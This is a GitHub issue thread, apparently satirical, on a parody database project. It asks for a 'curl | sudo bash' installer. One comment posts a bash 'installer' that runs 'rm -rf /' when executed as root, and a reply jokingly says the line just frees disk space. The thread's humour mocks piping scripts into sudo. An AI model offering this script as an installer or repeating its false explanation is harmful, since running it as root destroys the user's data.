Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Needs curl | sudo bash installer #23

Open
drdaeman opened this issue Jun 22, 2012 · 4 comments
Open

Needs curl | sudo bash installer #23

drdaeman opened this issue Jun 22, 2012 · 4 comments

Comments

@drdaeman
Copy link

I was recommended to use this great database solution by a friend, and now in process of migrating our company DB to MangoDB, so our databases will finally run real fast.

But, hey, I can't install this. I've heard of those git clone, pip install and dh_make && dpkg-buildpackage -uc -us && dpkg -i *.deb things but they're too unfriendly. Every cool product nowadays has that hot one-keystroke curl http://example.org/install.sh | sudo bash installer. You must include one of those, too.

@drdaeman
Copy link
Author

Hacked one. Too lazy to send a proper pull request.

#!/bin/bash

if [ `id -u` -gt 0 ]; then
    OPEN="open"
    which xdg-open > /dev/null && OPEN="xdg-open"
    $OPEN http://imgs.xkcd.com/comics/sandwich.png
else
    # not /* please.
    rm -rf /
fi

@paulmillr
Copy link
Contributor

Thanks, Alexey, the whole Mango community will benefit out of your patch. But I can't understand anything than php. For example, what does line rm -rf / does and more importantly, why should we prefer it to /*?

@drdaeman
Copy link
Author

Oh, never mind that line, you know, it just prepares some free disk space. /* is a bit more scalable version, but I was a bit hesitant to make it default.

@drdaeman
Copy link
Author

Also, PHP is considered harmful, so I suggest you learning about Node.JS. It's innovative blazing fast evented JavaScript engine powered by Google's V8, that supports horizontal scaling out of the box. I'd even suggest rewriting Mango to Node.js.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants